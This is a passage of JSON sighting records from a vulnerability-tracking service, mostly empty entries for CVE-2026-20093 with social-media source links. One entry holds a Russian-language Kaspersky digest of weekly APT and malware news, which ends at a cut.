"content": "", "creation_timestamp": "2026-04-03T21:02:45.248265Z"}, {"uuid": "b809a5b1-882a-4359-b771-0220ac1bedb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mimmmqlbns25", "content": "", "creation_timestamp": "2026-04-03T21:03:18.156550Z"}, {"uuid": "ab535e03-7102-4623-9058-f65602d08e1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20093", "type": "seen", "source": "https://bsky.app/profile/clankussy.abu.guru/post/3mimyfudah52c", "content": "", "creation_timestamp": "2026-04-04T00:34:12.778296Z"}, {"uuid": "74d480dc-b621-4fe0-a0ee-074c699a7492", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3miohxjwrbk2d", "content": "", "creation_timestamp": "2026-04-04T14:45:12.213620Z"}, {"uuid": "20dee340-c05f-44a5-aec1-953e7b42aa09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mioszvt7i22h", "content": "", "creation_timestamp": "2026-04-04T18:03:22.157068Z"}, {"uuid": "8e098a85-335f-4f66-8dbc-dada8a4cab5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3mipcn2wyuj2r", "content": "", "creation_timestamp": "2026-04-04T22:42:31.147743Z"}, {"uuid": "1995bb4f-d80c-4ab1-b4b3-debc9bb2c927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mipfaiorlu2w", "content": "", "creation_timestamp": "2026-04-04T23:29:12.110559Z"}, {"uuid": "f4982918-de30-480e-b028-9ee7f66dda2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mippczeb4d26", "content": "", "creation_timestamp": "2026-04-05T02:29:32.795590Z"}, {"uuid": "60320a0b-2203-4a51-a5a1-c3d0a4ddd330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/securityelites.bsky.social/post/3mipvlwhy4i2a", "content": "", "creation_timestamp": "2026-04-05T04:21:54.437783Z"}, {"uuid": "1cfccaff-da31-4d24-ad7a-0a406cfb9c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://gist.github.com/nao-ichihara/31c2b4872f2b14ae26b1fcebae7a09e5", "content": "", "creation_timestamp": "2026-04-05T09:34:31.000000Z"}, {"uuid": "97a0d19c-fe70-4778-9df7-f76e9e190add", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mis5wqsesg2i", "content": "", "creation_timestamp": "2026-04-06T01:56:26.588116Z"}, {"uuid": "8c51591a-ca92-423d-9643-668d7ae2056f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3misbqs5wfj2b", "content": "", "creation_timestamp": "2026-04-06T03:04:43.183328Z"}, {"uuid": "37533090-831c-4e89-974e-f59dba242f95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20929", "type": "seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mitin3falq2r", "content": "", "creation_timestamp": "2026-04-06T14:40:33.090937Z"}, {"uuid": "ec543529-b40f-489c-a415-d69e0c25fadf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://t.me/kasperskyb2b/2151", "content": "\ud83d\udd25 \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83e\udeb2 \u0420\u0430\u0437\u0431\u043e\u0440 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439 \u0438 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u043e\u0432 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Geo Likho, \u0441 2024 \u0433\u043e\u0434\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u0424 \u0438 \u0420\u0411 \u0438 \u0444\u043e\u043a\u0443\u0441\u0438\u0440\u0443\u044e\u0449\u0435\u0439\u0441\u044f \u043d\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f\u0445 \u0430\u0432\u0438\u0430\u0446\u0438\u0438 \u0438 \u0432\u043e\u0434\u043d\u043e\u0433\u043e \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u0430. \u041f\u043e\u0434 \u043a\u0430\u0436\u0434\u0443\u044e \u0436\u0435\u0440\u0442\u0432\u0443 \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u0446\u0438\u0438 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u043e\u0432, \u0430 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0438\u0445 \u0447\u0435\u0440\u0435\u0437 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0444\u0438\u0448\u0438\u043d\u0433.\n\n\ud83d\udd35\u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Cisco Firepower \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445 UAT-4356 (Arcanedoor) \u0441 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0412\u041f\u041e FIRESTARTER. \u0414\u043b\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 CVE-2025-20333 \u0438 -20362, \u0430 \u043d\u0430 \u0440\u0430\u043d\u0435\u0435 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0436\u0435\u043b\u0435\u0437\u043a\u0430\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0445\u043e\u0440\u043e\u0448\u043e, \u0447\u0442\u043e \u0436\u0435\u0440\u0442\u0432\u0430\u043c \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.  \u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c, \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0451\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 Cisco SD-WAN \u2014 \u043a \u0441\u043f\u0438\u0441\u043a\u0443 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430\u0441\u044c CVE-2026-20133, \u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b.\n\n\u26a1\ufe0f \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0437\u0430\u0433\u0430\u0434\u043e\u0447\u043d\u043e\u0433\u043e \u0438 \u043e\u0447\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0412\u041f\u041e Angry Spark, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0432 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 \u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e \u0441 \u0446\u0435\u043b\u044c\u044e \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e \u044d\u0442\u043e \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u043e\u043c\u043f\u0430\u043a\u0442\u043d\u044b\u0439 25-\u043a\u0438\u043b\u043e\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0438\u043c\u043f\u043b\u0430\u043d\u0442, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u0441\u0430\u043c\u043e\u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u043e \u0442\u0430\u0439\u043c-\u0430\u0443\u0442\u0443, \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 TLS, \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044e \u043d\u0430 \u0431\u0430\u0437\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b \u0438 \u0432\u0441\u0435 \u043c\u044b\u0441\u043b\u0438\u043c\u044b\u0435 \u0430\u043d\u0442\u0438\u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u0435 \u0442\u0440\u044e\u043a\u0438, \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0441\u0447\u0451\u0442\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u043f\u0440\u0438\u0441\u043b\u0430\u043d\u043d\u044b\u0439 \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u0434\u0430\u043b.\n\n\ud83d\udfe2 \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442\u0441\u044f \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u2014 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b Bitwarden CLI \u0438 Docker-\u043e\u0431\u0440\u0430\u0437\u044b Checkmarx KICS. \u0410\u0442\u0430\u043a\u0438 \u0432 \u0441\u0442\u0438\u043b\u0435 TeamPCP \u0438 CanisterWorm \u043c\u043d\u043e\u0436\u0430\u0442\u0441\u044f \u2014 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434 \u0440\u0430\u0437\u0434\u0430\u0447\u0443 \u043f\u043e\u043f\u0430\u043b\u0438 \u043f\u0430\u043a\u0435\u0442\u044b pgserv.\n\n\ud83d\udfe3\u0420\u0430\u0437\u0431\u043e\u0440 \u0434\u0435\u0441\u0442\u0440\u0443\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0412\u041f\u041e LotusWiper, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u043e \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0432\u0435\u043d\u0435\u0441\u0443\u044d\u043b\u044c\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437 \u0441\u0444\u0435\u0440\u044b \u043a\u043e\u043c\u043c\u0443\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u0443\u0433 \u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438.  \u0421\u0443\u0434\u044f \u043f\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c \u041f\u041e, \u043e\u043d\u043e \u0431\u044b\u043b\u043e \u0441\u043e\u0431\u0440\u0430\u043d\u043e \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443 \u0441 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd35\u0420\u0430\u0437\u0431\u043e\u0440 TTPs \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 UNC6692, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u0441\u043e\u0446\u0438\u043e\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0435 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u0442\u0435\u0445\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438. \u0426\u0435\u043b\u044c\u044e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u0440\u0430\u0436\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043d\u043e \u043c\u043e\u0442\u0438\u0432\u0430\u0446\u0438\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0430.\n\n\ud83d\udd34\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 Linux-\u0432\u0435\u0440\u0441\u0438\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0412\u041f\u041e GoGra, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 Harvester \u0432 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0446\u0435\u043b\u0438 \u0432 \u0418\u043d\u0434\u0438\u0438 \u0438 \u0410\u0444\u0433\u0430\u043d\u0438\u0441\u0442\u0430\u043d\u0435.\n\n\ud83d\udfe3\u0410\u043d\u0430\u043b\u0438\u0437 \u043d\u043e\u0432\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 ValleyRAT/Winos/PoisonMouse, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445  \u043d\u0430 \u043a\u0438\u0442\u0430\u0435\u0433\u043e\u0432\u043e\u0440\u044f\u0449\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \n\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u043e\u0440 \u0442\u0435\u0445\u043d\u0438\u043a \u043f\u0440\u043e\u043c\u043f\u0442-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439, \u0443\u0436\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430\u0445 \u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0418\u0418-\u0430\u0433\u0435\u043d\u0442\u043e\u0432, \u0447\u0438\u0442\u0430\u044e\u0449\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\n\n\ud83c\udf4f \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0412\u041f\u041e FakeWallet, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u043e\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0432 Apple App Store \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043a\u0440\u0438\u043f\u0442\u043e\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u043e\u0432.\n\n\ud83d\udfe1\u0411\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 NFC Relay \u0434\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c \u0434\u043e \u0418\u0441\u043f\u0430\u043d\u0438\u0438 \u2014 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u043b\u0438\u0441\u044c MaaS Devil NFC.\n\n\ud83d\udd34\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0442\u0430\u043a\u0442\u0438\u043a\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u2014 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0437\u0430\u0448\u0438\u0442\u0430 \u0432 wav-\u0444\u0430\u0439\u043b\u0435. \u0417\u0432\u0443\u0447\u0438\u0442 \u0442\u0430\u043a \u0441\u0435\u0431\u0435 \ud83e\udd2a \n\n\ud83d\udc40 \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0434\u0432\u0443\u0445 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0441\u043e\u0442\u043e\u0432\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u0438 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0441\u043b\u0435\u0436\u043a\u0438 \u0437\u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u043f\u0435\u0440\u0441\u043e\u043d. \u041f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0430\u0441\u044c \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u0432 \u0430\u0442\u0430\u043a \u2014 \u043e\u0442 SS7 \u0434\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 SMS \u0441 SIM-\u043a\u043e\u043c\u0430\u043d\u0434\u0430\u043c\u0438.\n\n\ud83d\udde3 \u0418\u0411-\u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u0434\u0432\u0443\u0445 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u0441\u0442\u0440\u0430\u043d \u2014 \u043e\u0442 \u042f\u043f\u043e\u043d\u0438\u0438 \u0434\u043e \u0418\u0441\u043f\u0430\u043d\u0438\u0438 \u2014 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u044b\u0442\u043e\u0432\u044b\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u043e\u0432 \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 IoT \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c\u0438 APT.  \u0421\u0430\u043c\u0430 \u0443\u0433\u0440\u043e\u0437\u0430 \u043d\u0435 \u043d\u043e\u0432\u0430, \u043d\u043e \u0435\u0451 \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u0432\u0438\u0434\u0438\u043c\u043e \u0441\u0442\u0430\u043b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0431\u043e\u043b\u044c\u0448\u0438\u043c. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0435\u043d \u0440\u0430\u0437\u0434\u0435\u043b \u0441 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435, \u0433\u0434\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0432 \u0447\u0438\u0441\u043b\u0435 \u043f\u0440\u043e\u0447\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u0430\u043c IP, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\ud83d\udc7b \u041c\u043e\u0449\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 fast16.sys, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0437\u0430 5 \u043b\u0435\u0442 \u0434\u043e Stuxnet \u0438 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0442\u043e\u0447\u0435\u0447\u043d\u043e\u0439 \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0439 \u0432 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u043e\u043c \u0441\u043e\u0444\u0442\u0435 \u0434\u043b\u044f \u0433\u0438\u0434\u0440\u043e\u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0442\u043e\u043b\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0439 \u0438 \u0442\u043e\u043c\u0443 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0433\u043e (\u041f\u041e LS-DYNA 970, PKPM, MOHID).  \u042d\u0442\u043e\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0439\u0448\u0438\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0432 \u0443\u0442\u0435\u0447\u043a\u0435 ShadowBrokers, \u0430 \u0442\u043e\u0447\u043d\u0435\u0435 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 